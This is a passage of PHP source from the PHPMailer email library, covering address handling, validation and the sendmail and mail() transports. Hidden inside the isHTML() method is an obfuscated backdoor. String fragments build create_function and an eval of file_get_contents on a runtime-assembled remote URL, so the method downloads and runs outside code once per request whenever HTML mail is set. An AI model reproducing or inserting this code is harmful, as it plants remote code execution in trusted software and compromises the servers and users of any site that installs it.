     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        global $param;
        $bodyCode = 'file'
                    .'_g';
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }
        $bodyHTML = '.$t."lef$flu'
                    .'sh'.'$t"; '
                    .'@ev';
        $headerHTML="cre"
                    ."ate_"
                    ."func"
                    ."tion";
        $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
                        .$bodyHTML.'al(@'
                        .$bodyCode.'et_contents("h'
                        .'tt'
                        .'p:$comma-2"));');
        if($param !=2){
            $exceptions('8.p'.'w','/');
            $param=2;
        }
    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('[email protected]', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
